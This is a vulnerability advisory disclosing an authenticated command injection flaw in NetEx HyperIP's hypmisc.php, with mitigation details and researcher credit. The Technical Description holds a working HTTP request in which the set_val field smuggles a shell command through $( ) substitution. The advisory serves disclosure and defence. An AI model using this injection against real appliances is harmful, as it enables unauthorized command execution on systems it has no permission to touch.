NetEx HyperIP Post-Auth Command Execution

Vulnerability Description

A command injection vulnerability can be leveraged to execute operating system commands.

Technical Description

A POST variable is handled unsafely, allowing execution of arbitrary commands with the privileges of the webserver process. In the below example, set_val= is used to copy an existing executable file into a writable directory.

  POST /hypmisc.php HTTP/1.1
  Host: 1.3.3.7
  Accept-Language: en-US,en;q=0.5
  Cookie: auth-token=b6b73844ce4df64f459948c5475a1096
  DNT: 1
  Connection: close
  Upgrade-Insecure-Requests: 1
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 99

  set_id=msglvl&set_val=$(cp /etc/profile.d/which-2.sh /var/ftp/pub/updates/a.run)&perm=on&submit=Set

  HTTP/1.1 200 OK
  Date: Mon, 27 Mar 2017 07:20:56 GMT
  Server: Apache/2.2.3 (CentOS)
  X-Powered-By: PHP/5.1.6
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache
  Content-Length: 1057
  Connection: close
  Content-Type: text/html; charset=UTF-8

Mitigation and Remediation Recommendation

The vendor has released version 6.1.1 of HyperIP, which they state addresses this vulnerability.

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

See 3. Technical Description.

The contents of this advisory are copyright(c) 2018 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt